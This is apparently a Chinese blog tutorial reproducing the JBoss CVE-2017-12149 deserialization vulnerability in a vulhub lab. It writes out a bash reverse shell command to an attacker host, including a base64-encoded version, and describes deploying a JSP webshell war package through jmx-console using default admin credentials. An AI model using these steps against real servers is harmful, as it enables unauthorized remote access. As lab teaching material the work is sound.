JBoss漏洞复现（保姆级教学）

nuc_ddddsj

已于 2024-05-05 09:43:20 修改

阅读量631

点赞数 12

分类专栏：漏洞复现文章标签：网络安全安全网络 web安全

于 2024-04-25 12:32:22 首次发布

本文链接：https://blog.csdn.net/m0_69043895/article/details/138185786

版权

8 篇文章 1 订阅

订阅专栏

1.环境搭建

靶机：Ubuntu 使用vulhub

攻击机：kali 以及jboss利用工具

漏洞原理：该漏洞为 Java反序列化错误类型，存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化，从而导致了漏洞。

cd jboss
ls
cd CVE-2017-12149
sudo docker-compose up -d
docker ps

访问http://192.10.131.8:8080/invoker/readonly，若返回如下界面则存在漏洞

此时打开 jboss利用工具，可以执行任意命令

这个时候，可以通过执行命令在kali上反弹shell，需要将命令进行base64编码

bash -i >& /dev/tcp/192.168.10.45/6666 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjQ1LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

在kali上开启监听：

在jboss上执行命令：

此时，kali上已经成功反弹shell

1. 命令执行同上

2.可以上传war包木马

打开ip：8080

跳出弹窗，输入账号密码admin/admin成功登录

然后访问jmx-console

在自己服务器上部署一个webshell的war包

先写一个一句话木马jsp文件

然后再压缩成war文件

后，找到

void addURL()，在ParamValue填入我们远程的war包，点击invoke

nuc_ddddsj

关注